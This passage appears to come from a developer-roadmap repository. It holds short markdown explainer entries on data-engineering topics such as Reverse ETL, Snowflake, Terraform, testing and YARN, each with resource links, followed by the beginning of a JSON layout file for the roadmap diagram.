    "content": "# Reusability\n\nOne of the goals of Infrastructure as Code (IaC) is to creat modular, standardized units of code—like modules or templates that can be used across multiple projects, environments, and teams, embodying the \"Don't Repeat Yourself\" (DRY) principle. This approach significantly boosts efficiency, consistency, and maintainability, as it allows for rapid deployment of identical infrastructure patterns, enforces organizational standards, simplifies complex setups, and improves collaboration by providing shared, tested building blocks for infrastructure management.\n\nVisit the following resources to learn more:\n\n- [@article@What is Infrastructure as Code (IaC)?](https://www.redhat.com/en/topics/automation/what-is-infrastructure-as-code-iac)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/reverse-etl-usecases@mBOGrJIUaatBe2PnJM2NK.md",
    "content": "# Reverse ETL Usecases"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/reverse-etl@JpuiYsipNWBcrjmn2ji6b.md",
    "content": "# Reverse ETL\n\nReverse ETL is the process of extracting data from a data warehouse, transforming it to fit the requirements of operational systems, and then loading it into those other systems. This approach contrasts with traditional ETL, where data is extracted from operational systems, transformed, and loaded into a data warehouse.\n\nVisit the following resources to learn more:\n\n- [@article@What is Reverse ETL? A Helpful Guide](https://www.datacamp.com/blog/reverse-etl)\n- [@video@What is Reverse ETL?](https://www.youtube.com/watch?v=DRAGfc5or2Y)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/s3-storage@tbut25IZI2aU7TkI9fFYV.md",
    "content": "# S3\n\nAmazon S3 (Simple Storage Service) is an object storage service offered by Amazon Web Services (AWS). It provides scalable, secure and durable storage on the internet. Designed for storing and retrieving any amount of data from anywhere on the web, it is a key tool for many companies in the field of data storage, including mobile applications, websites, backup and restore, archive, enterprise applications, IoT devices, and big data analytics.\n\nVisit the following resources to learn more:\n\n- [@official@S3](https://docs.aws.amazon.com/AmazonS3/latest/userguide/Welcome.html)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/scala@WHJXJ5ukJd-tK_3LFLJBg.md",
    "content": "# Scala\n\nScala is a programming language that combines the strengths of object-oriented and functional programming, and it runs on the Java Virtual Machine (JVM). In data engineering, Scala is especially important because Apache Spark, one of the most popular big data processing frameworks, was written in Scala. This means Scala can use Spark’s features directly and efficiently, often with cleaner and more concise code than Java. Its ability to handle complex data transformations with less code makes it a powerful tool for building fast, scalable data pipelines.\n\nVisit the following resources to learn more:\n\n- [@official@The Scala Programming Language](https://www.scala-lang.org/)\n- [@article@Scala for Beginners: An Introduction](https://daily.dev/blog/scala-for-beginners-an-introduction)\n- [@video@Scala Tutorial](https://www.youtube.com/playlist?list=PLS1QulWo1RIagob5D6kMIAvu7DQC5VTh3)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/segment@8vqjI-uFwJIr_TBEVyM_3.md",
    "content": "# Segment\n\nSegment is an analytics platform that provides a single API for collecting, storing, and routing customer data from various sources. With Segment, data engineers can easily add analytics tracking to their app, without having to integrate with multiple analytics tools individually. Segment acts as a single point of integration, allowing developers to send data to multiple analytics tools with a single API.\n\nVisit the following resources to learn more:\n\n- [@official@flutter_segment](https://pub.dev/packages/flutter_segment)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/sentry@i54fx-NV6nWzQVCdi0aKL.md",
    "content": "# Sentry\n\nSentry tracks your software performance, measuring metrics like throughput and latency, and displaying the impact of errors across multiple systems. Sentry captures distributed traces consisting of transactions and spans, which measure individual services and individual operations within those services.\n\nVisit the following resources to learn more:\n\n- [@official@Sentry](https://sentry.io)\n- [@official@Sentry Documentation](https://docs.sentry.io/)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/serverless-options@ZnGX8pg4GagdSalg_P0oq.md",
    "content": "# Serverless Options\n\nServerless data storage involves using cloud provider services for databases and object storage that automatically scale infrastructure and implement a consumption-based, pay-as-you-go model, eliminating the need for developers to manage, provision, or maintain any physical or virtual servers. This approach simplifies development, reduces operational overhead, and offers cost-effectiveness by charging only for the resources used, allowing teams to focus on applications rather than infrastructure management.\n\nVisit the following resources to learn more:\n\n- [@article@What Is Serverless Computing?](https://www.ibm.com/think/topics/serverless)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/skills-and-responsibilities@3BxbkrBp8veZj38zdwN8s.md",
    "content": "# Skills and Responsibilities\n\nHere’s a list of essential data engineering skills:\n\n1.  SQL & Database Management: Ability to query, manipulate, and design relational databases efficiently using SQL. This is the bread-and-butter for extracting, transforming, and analyzing data.\n    \n2.  Data Modeling: Designing schemas and structures (star, snowflake, normalized forms) to optimize storage, performance, and usability of data.\n    \n3.  ETL/ELT Development: Building Extract-Transform-Load (or Load-Transform) pipelines to move and reshape data between systems while ensuring quality and consistency.\n    \n4.  Big Data Frameworks: Proficiency with tools like Apache Spark, Hadoop, or Flink to process and analyze massive datasets in distributed environments.\n    \n5.  Cloud Platforms: Working knowledge of AWS, Azure, or GCP for storage, compute, and orchestration (e.g., S3, BigQuery, Dataflow, Redshift).\n    \n6.  Data Warehousing: Understanding concepts and tools (Snowflake, BigQuery, Redshift) for centralizing, optimizing, and querying large volumes of business data.\n    \n7.  Workflow Orchestration: Using tools like Apache Airflow, Prefect, or Dagster to automate and schedule complex data pipelines reliably.\n    \n8.  Scripting & Programming: Strong skills in Python or Scala for building data processing scripts, automation tasks, and integration with APIs.\n    \n9.  Data Governance & Security: Applying practices for data quality, lineage tracking, access control, compliance (GDPR, HIPAA), and encryption.\n    \n10.  Monitoring & Performance Optimization: Setting up alerts, logging, and tuning pipelines to ensure they run efficiently, catch errors early, and scale smoothly.\n\nVisit the following resources to learn more:\n\n- [@article@Top Data Engineer Skills and Responsibilities](https://www.simplilearn.com/data-engineer-role-article)\n- [@article@5 Essential Data Engineering Skills For 2025](https://www.datacamp.com/blog/essential-data-engineering-skills)\n- [@video@What skills do you need as a Data Engineer?](https://www.youtube.com/watch?v=sF04UxNAvmg)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/slowly-changing-dimension---scd@5KgPfywItqLFQRnIZldZH.md",
    "content": "# Slowly Changing Dimension - SCD\n\nSlowly Changing Dimensions (SCDs) are a data warehousing technique used to track changes in dimension data over time. Instead of simply overwriting old data with new data, SCDs allow you to maintain historical records of how dimension attributes have changed. This is crucial for accurate analysis of historical trends and business performance.\n\nVisit the following resources to learn more:\n\n- [@article@WMastering Slowly Changing Dimensions (SCD)](https://www.datacamp.com/tutorial/mastering-slowly-changing-dimensions-scd)\n- [@article@Implementing Slowly Changing Dimensions (SCDs) in Data Warehouses](https://www.sqlshack.com/implementing-slowly-changing-dimensions-scds-in-data-warehouses/)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/smoke-testing@woa5K4Dt9L6aBzlJMNS31.md",
    "content": "# Smoke Testing\n\nSmoke Testing is a software testing process that determines whether the deployed software build is stable or not. Smoke testing is a confirmation for QA team to proceed with further software testing. It consists of a minimal set of tests run on each build to test software functionalities.\n\nVisit the following resources to learn more:\n\n- [@article@Smoke Testing | Software Testing](https://www.guru99.com/smoke-testing.html)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/snowflake@Pf0_CBGkmSEfWDQ2_iFXr.md",
    "content": "# Snowflake\n\nSnowflake is a cloud-based data platform that provides a data warehouse as a service. It allows organizations to store, analyze, and share data, offering features like data engineering, data governance, and collaboration capabilities. Snowflake is known for its scalability, ease of use, and ability to handle diverse workloads, including data warehousing, data lakes, and machine learning.\n\nVisit the following resources to learn more:\n\n- [@official@Snowflake Docs](https://docs.snowflake.com/)\n- [@official@Snowflake in 20 minutes](https://docs.snowflake.com/en/user-guide/tutorials/snowflake-in-20minutes)\n- [@article@Snowflake Tutorial For Beginners: From Architecture to Running Databases](https://www.datacamp.com/tutorial/introduction-to-snowflake-for-beginners)\n- [@video@Learn Snowflake in 2 Hours](https://www.youtube.com/watch?v=mP3QbYURT9k)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/snowflake@W3l1_66fsIqR3MqgBJUmU.md",
    "content": "# Snowflake\n\nSnowflake is a cloud-based data platform that provides a data warehouse as a service. It allows organizations to store, analyze, and share data, offering features like data engineering, data governance, and collaboration capabilities. Snowflake is known for its scalability, ease of use, and ability to handle diverse workloads, including data warehousing, data lakes, and machine learning.\n\nVisit the following resources to learn more:\n\n- [@official@Snowflake Docs](https://docs.snowflake.com/)\n- [@official@Snowflake in 20 minutes](https://docs.snowflake.com/en/user-guide/tutorials/snowflake-in-20minutes)\n- [@article@Snowflake Tutorial For Beginners: From Architecture to Running Databases](https://www.datacamp.com/tutorial/introduction-to-snowflake-for-beginners)\n- [@video@Learn Snowflake in 2 Hours](https://www.youtube.com/watch?v=mP3QbYURT9k)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/sources-of-data@zGKTlMUzhrbVbqpLZBsMZ.md",
    "content": "# Sources of Data\n\nSources of data are origins or locations from which data is collected, categorized as primary (direct, firsthand information) or secondary (collected by others). Common primary sources include surveys, interviews, experiments, and sensor data. Secondary sources encompass databases, published reports, government data, books, articles, and web data like social media posts. Data sources can also be classified as internal (within an organization) or external (from outside sources)."
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/star-vs-snowflake-schema@OfH_UXnxvGQgwlNQwOEfS.md",
    "content": "# Star vs Snowflake Schema\n\nA star schema is a way to organize data in a database, namely in data warehouses, to make it easier and faster to analyze. At the center, there's a main table called the **fact table**, which holds measurable data like sales or revenue. Around it are **dimension tables**, which add details like product names, customer info, or dates. This layout forms a star-like shape.\n\nA snowflake schema is another way of organizing data. In this schema, dimension tables are split into smaller sub-dimensions to keep data more organized and detailed, just like snowflakes in a large lake.\n\nThe star schema is simple and fast -ideal when you need to extract data for analysis quickly. On the other hand, the snowflake schema is more detailed. It prioritizes storage efficiency and managing complex data relationships.\n\nVisit the following resources to learn more:\n\n- [@official@Star Schema vs Snowflake Schema: Differences & Use Cases](https://www.datacamp.com/blog/star-schema-vs-snowflake-schema)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/streaming@wwPO5Uc6qnwYgibrbPn7y.md",
    "content": "# Streaming\n\nStreaming processing, also known as real-time processing, involves the immediate ingestion, as well as analysis, of data as it is generated, providing instantaneous insights and enabling timely decisions in time-sensitive applications like financial trading, medical monitoring, and autonomous vehicles. This differs from batch processing, which handles data in later batches, and typically involves continuous data streaming, low latency, and high availability to deliver immediate outcomes for critical tasks."
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/streamlit@FfU6Vwf0PXva91FoqxFgp.md",
    "content": "# Streamlit\n\nStreamlit is a free and open-source framework to rapidly build and share machine learning and data science web apps. It is a Python-based library specifically designed for data and machine learning engineers. Data scientists or machine learning engineers are not web developers and they're not interested in spending weeks learning to use these frameworks to build web apps. Instead, they want a tool that is easier to learn and to use, as long as it can display data and collect needed parameters for modeling.\n\nVisit the following resources to learn more:\n\n- [@official@Streamlit Docs](https://docs.streamlit.io/)\n- [@official@Streamlit Python: Tutorial](https://www.datacamp.com/tutorial/streamlit)\n- [@video@EStreamlit Explained: Python Tutorial for Data Scientists](https://www.youtube.com/watch?v=c8QXUrvSSyg)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/tableu@gqEAOwHFrQiYSejNUdV7-.md",
    "content": "# Tableau\n\nTableau is a powerful data visualization tool utilized extensively by data analysts worldwide. Its primary role is to transform raw, unprocessed data into an understandable format without any technical skills or coding. Data analysts use Tableau to create data visualizations, reports, and dashboards that help businesses make more informed, data-driven decisions. They also use it to perform tasks like trend analysis, pattern identification, and forecasts, all within a user-friendly interface. Moreover, Tableau's data visualization capabilities make it easier for stakeholders to understand complex data and act on insights quickly.\n\nVisit the following resources to learn more:\n\n- [@official@Tableau](https://www.tableau.com/en-gb)\n- [@video@What is Tableau?](https://www.youtube.com/watch?v=NLCzpPRCc7U)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/terraform@N-xRhdOTHijAymcTWPXPJ.md",
    "content": "# Terraform\n\nTerraform is an open-source infrastructure as code (IaC) tool developed by HashiCorp, used to define, provision, and manage cloud and on-premises infrastructure using declarative configuration files. It supports multiple cloud providers like AWS, Azure, and Google Cloud, as well as various services and platforms, enabling infrastructure automation across diverse environments. Terraform's state management and modular structure allow for efficient scaling, reusability, and version control of infrastructure. It is widely used for automating infrastructure provisioning, reducing manual errors, and improving infrastructure consistency and repeatability.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Terraform Roadmap](https://roadmap.sh/terraform)\n- [@course@Complete Terraform Course](https://www.youtube.com/watch?v=7xngnjfIlK4)\n- [@official@Terraform Documentation](https://www.terraform.io/docs)\n- [@official@Terraform Tutorials](https://learn.hashicorp.com/terraform)\n- [@article@How to Scale Your Terraform Infrastructure](https://thenewstack.io/how-to-scale-your-terraform-infrastructure/)\n- [@feed@Explore top posts about Terraform](https://app.daily.dev/tags/terraform?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/testing@DZoxLu-j1vq5leoXLRZqt.md",
    "content": "# Testing\n\nTesting is a systematic process used to evaluate the functionality, performance, and quality of software or systems to ensure they meet specified requirements and standards. It involves various methodologies and levels, including unit testing (testing individual components), integration testing (verifying interactions between components), system testing (assessing the entire system's behavior), and acceptance testing (confirming it meets user needs). Testing can be manual or automated and aims to identify defects, validate that features work as intended, and ensure the system performs reliably under different conditions. Effective testing is critical for delivering high-quality software and mitigating risks before deployment.\n\nVisit the following resources to learn more:\n\n- [@article@What is Software Testing?](https://www.guru99.com/software-testing-introduction-importance.html)\n- [@article@Testing Pyramid](https://www.browserstack.com/guide/testing-pyramid-for-test-automation)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/tokenization@ZAKo9Svb8TQ6KkmOnfB5x.md",
    "content": "# Tokenization\n\nTokenization is the step where raw text is broken into small pieces called tokens, and each token is given a unique number. A token can be a whole word, part of a word, a punctuation mark, or even a space. The list of all possible tokens is the model’s vocabulary. Once text is turned into these numbered tokens, the model can look up an embedding for each number and start its math. By working with tokens instead of full sentences, the model keeps the input size steady and can handle new or rare words by slicing them into familiar sub-pieces. After the model finishes its work, the numbered tokens are turned back into text through the same vocabulary map, letting the user read the result.\n\nVisit the following resources to learn more:\n\n- [@article@Explaining Tokens — the Language and Currency of AI](https://blogs.nvidia.com/blog/ai-tokens-explained/)\n- [@article@What is Tokenization? Types, Use Cases, Implementation](https://www.datacamp.com/blog/what-is-tokenization)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/transactions@1BJGXWax6CONuFkaYR4Jm.md",
    "content": "# Transactions\n\nTransactions in SQL are units of work that group one or more database operations into a single, atomic unit. They ensure data integrity by following the ACID properties: Atomicity (all or nothing), Consistency (database remains in a valid state), Isolation (transactions don't interfere with each other), and Durability (committed changes are permanent). Transactions are essential for maintaining data consistency in complex operations and handling concurrent access to the database.\n\nVisit the following resources to learn more:\n\n- [@article@Transactions](https://www.tutorialspoint.com/sql/sql-transactions.htm)\n- [@article@A Guide to ACID Properties in Database Management Systems](https://www.mongodb.com/resources/basics/databases/acid-transactions)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/transform-data@TjsxMNyWO3YGwg6zEIid4.md",
    "content": "# Transform Data\n\nIn the second step, ETL tools transform and consolidate the raw data in the staging area to prepare it for the target data warehouse. The data transformation phase is normally the most complex and prone to errors, as it can involved multiple transformations, including basic data cleaning operations, deduplication, cata casting, filtering, grouping, encrypting, and many more."
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/types-of-data-ingestion@GN1Xh3kA25ge-wTbdiSio.md",
    "content": "# Types of Data Ingestion\n\nThe primary types of data ingestion are Batch, Streaming, and Hybrid. Batch ingestion processes data in large, scheduled chunks, suitable for non-time-sensitive tasks like monthly reports. Streaming (or Real-time) ingestion handles data as it arrives, ideal for time-sensitive applications such as fraud detection or IoT monitoring. Hybrid ingestion combines both methods, offering flexibility for diverse business needs."
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/unit-testing@8dXD4ddR_USEbAJhUMcB6.md",
    "content": "# Unit Testing\n\nUnit testing is where individual **units** (modules, functions/methods, routines, etc.) of software are tested to ensure their correctness. This low-level testing ensures smaller components are functionally sound while taking the burden off of higher-level tests. Generally, a developer writes these tests during the development process and they are run as automated tests.\n\nVisit the following resources to learn more:\n\n- [@article@Unit Testing Tutorial](https://www.guru99.com/unit-testing-guide.html)\n- [@video@What is Unit Testing?](https://youtu.be/3kzHmaeozDI)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/what-and-why-use-them@1qju7UlcMo2Ebp4a3BGxH.md",
    "content": "# What and why use them?\n\nIn data engineering, messaging systems act as central brokers for data communication, allowing different applications and services to send and receive data in a decoupled, scalable, and fault-tolerant way. They are crucial for handling high-volume, real-time data streams, building resilient data pipelines, and enabling event-driven architectures by acting as buffers and communication channels between data producers and consumers. Key benefits include decoupling systems for agility, ensuring data reliability through queuing and retries, and horizontal scalability to manage growing data loads, while common examples include Apache Kafka and message queues like RabbitMQ and AWS SQS."
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/what-is-cluster-computing@Ad10evrGQuYRl5GaMhQwu.md",
    "content": "# What is Cluster Computing\n\nCluster computing is a type of distributing computing where multiple computers are connected so they work together as a single system. By working together, a cluster of machines can address complex tasks with higher computational power and efficiency.\n\nThe term “cluster” refers to the network of linked computer systems programmed to perform the same task. Computing clusters typically consist of servers, workstations and personal computers (PCs) that communicate over a local area network (LAN) or a wide area network (WAN). Each computer or “node,” in a computer network has an operating system (OS) and a central processing unit (CPU) core that handles the tasks required for the software to run properly.\n\nVisit the following resources to learn more:\n\n- [@article@What is cluster computing? - IBM](https://www.ibm.com/think/topics/cluster-computing)\n- [@article@What is cluster computing? - AWS](https://aws.amazon.com/what-is/cluster-computing/)\n- [@article@Computer cluster - Wikipedia](http://en.wikipedia.org/wiki/Computer_cluster)\n- [@video@WUnderstand the Basic Cluster Concepts](https://www.youtube.com/watch?v=8BBDxzJL6fY)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/what-is-data-engineering@WB2PRVI9C6RIbJ6l9zdbd.md",
    "content": "# What is Data Engineering?\n\nData engineering is the practice of designing and building systems for the aggregation, storage and analysis of data at scale. Data engineers excel at creating and deploying algorithms, data pipelines and workflows that sort raw data into ready-to-use datasets. Data engineering is an integral component of the modern data platform and makes it possible for businesses to analyze and apply the data they receive, regardless of the data source or format.\n\nVisit the following resources to learn more:\n\n- [@article@What is data engineering?](https://www.ibm.com/think/topics/data-engineering)\n- [@article@How to Become a Data Engineer in 2025: 5 Steps for Career Success](https://www.datacamp.com/blog/how-to-become-a-data-engineer)\n- [@video@How Data Engineering Works?](https://www.youtube.com/watch?v=qWru-b6m030)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/what-is-data-warehouse@dc3lJI27hJ3zZ45UCVqM1.md",
    "content": "# Data Warehouse\n\n**Data Warehouses** are data storage systems which are designed for analyzing, reporting and integrating with transactional systems. The data in a warehouse is clean, consistent, and often transformed to meet wide-range of business requirements. Hence, data warehouses provide structured data but require more processing and management compared to data lakes.\n\nVisit the following resources to learn more:\n\n- [@article@What Is a Data Warehouse?](https://www.oracle.com/database/what-is-a-data-warehouse/)\n- [@video@What is a Data Warehouse?](https://www.youtube.com/watch?v=k4tK2ttdSDg)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/yarn@KcW4z48pk2x6IjQhZs_Ub.md",
    "content": "# Apache Hadoop YARN\n\nApache Hadoop YARN (Yet Another Resource Negotiator) is the part of Hadoop that manages resources and runs jobs on a cluster. It has a ResourceManager that controls all cluster resources and an ApplicationMaster for each job that schedules and runs tasks. YARN lets different tools like MapReduce and Spark share the same cluster, making it more efficient, flexible, and reliable.\n\nVisit the following resources to learn more:\n\n- [@video@Hadoop Yarn Tutorial](https://www.youtube.com/watch?v=6bIF9VwRwE0)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/data-engineer.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"lMhCae46hJSaJ3xnkzr3t\",\n      \"type\": \"section\",\n      \"position\": { \"x\": -709.3933960639342, \"y\": 4717.900748222349 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 285,\n      \"height\": 226,\n      \"style\": { \"width\": 150, \"height\": 100 },\n      \"measured\": { \"width\": 285, \"height\": 226 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"BCaFByttoQgLAQd7xGNN-\",\n      \"type\": \"section\",\n      \"position\": { \"x\": -709.3933960639342, \"y\": 4171.400748222349 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 285,\n      \"height\": 283,\n      \"style\": { \"width\": 150, \"height\": 100 },\n      \"measured\": { \"width\": 285, \"height\": 283 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"sMhuDjih8ECp5aD8NgrHz\",\n      \"type\": \"section\",\n      \"position\": { \"x\": -711.7957887669381, \"y\": 3652.355831648286 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 274,\n      \"height\": 290,\n      \"style\": { \"width\": 150, \"height\": 100 },\n      \"measured\": { \"width\": 274, \"height\": 290 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"SEpxm5INSkSQc07C4uyPt\",\n      \"type\": \"section\",\n      \"position\": { \"x\": 96.91320895347599, \"y\": 2924.1782812769484 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 305,\n      \"height\": 170,\n      \"style\": { \"width\": 150, \"height\": 100 },\n      \"measured\": { \"width\": 305, \"height\": 170 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"IMS65IJuub_Ff6ePVLMRT\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": -409.1381872719935, \"y\": 2445.822840240036 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.65,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 448,\n      \"measured\": { \"width\": 20, \"height\": 448 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"kDhIOb3DS8FWqYA11Ia1q\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": -597.1381872719935, \"y\": 2435.822840240036 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.65,\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\"\n        },\n        \"oldId\": \"IMS65IJuub_Ff6ePVLMRT\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 97,\n      \"measured\": { \"width\": 20, \"height\": 97 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"BTONQQaUaGU9IsPeqEJwf\",\n      \"type\": \"horizontal\",\n      \"position\": { \"x\": -411.2893559278165, \"y\": 2425.822840240036 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.65,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"OVkG0zXEXvFHTM9EautdY\"\n      },\n      \"zIndex\": 999,\n      \"width\": 104,\n      \"height\": 20,\n      \"measured\": { \"width\": 104, \"height\": 20 },\n      \"dragging\": false,\n      \"resizing\": true,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"Lan3xGnc91AWNHPdWr4oZ\",\n      \"type\": \"section\",\n      \"position\": { \"x\": -713.148604855875, \"y\": 2592.4628847719823 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": { \"label\": \"\", \"style\": { \"fontSize\": 17 } },\n      \"zIndex\": -999,\n      \"width\": 257,\n      \"height\": 93,\n      \"style\": { \"width\": 150, \"height\": 100 },\n      \"measured\": { \"width\": 257, \"height\": 93 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"WW9_OqWGOp7vymOpZy3yL\",\n      \"type\": \"section\",\n      \"position\": { \"x\": -713.648604855875, \"y\": 2760.963395078329 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 258,\n      \"height\": 167,\n      \"style\": { \"width\": 150, \"height\": 100 },\n      \"measured\": { \"width\": 258, \"height\": 167 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"nQZXPggnB7SC1O7fHV9wq\",\n      \"type\": \"section\",\n      \"position\": { \"x\": -306.6381872719935, \"y\": 2368.4007482223487 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 273,\n      \"height\": 435,\n      \"style\": { \"width\": 150, \"height\": 100 },\n      \"measured\": { \"width\": 273, \"height\": 435 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"feK5CpK7uJaCQU3Pg9snq\",\n      \"type\": \"section\",\n      \"position\": { \"x\": 98.21595716364237, \"y\": 2000.378035637179 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 305,\n      \"height\": 802,\n      \"style\": { \"width\": 150, \"height\": 100 },\n      \"measured\": { \"width\": 305, \"height\": 802 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"sI6Xp7JGJiF18vtaK3be8\",\n      \"type\": \"section\",\n      \"position\": { \"x\": 69.08487858379993, \"y\": 1686.3469798815784 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 336,\n      \"height\": 217,\n      \"style\": { \"width\": 150, \"height\": 100 },\n      \"measured\": { \"width\": 336, \"height\": 217 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"gNweoH0_8JdZPT2H4vhTB\",\n      \"type\": \"section\",\n      \"position\": { \"x\": -693.7786555245802, \"y\": 1878.0882070611324 },\n      \"width\": 238,\n      \"height\": 195.5,\n      \"style\": { \"width\": 238, \"height\": 195.5 },\n      \"selected\": true,\n      \"data\": {\n        \"style\": { \"backgroundColor\": \"#ffffff\", \"borderColor\": \"#000000\" }\n      },\n      \"measured\": { \"width\": 238, \"height\": 196 },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"id\": \"LYo_bUhIjWZD3i4dIzSsM\",\n      \"type\": \"section\",\n      \"position\": { \"x\": -693.148604855875, \"y\": 1654.3240491558859 },\n      \"width\": 238,\n      \"height\": 202,\n      \"style\": { \"width\": 238, \"height\": 195.5 },\n      \"selected\": true,\n      \"data\": {\n        \"style\": { \"backgroundColor\": \"#ffffff\", \"borderColor\": \"#000000\" }\n      },\n      \"measured\": { \"width\": 238, \"height\": 202 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"id\": 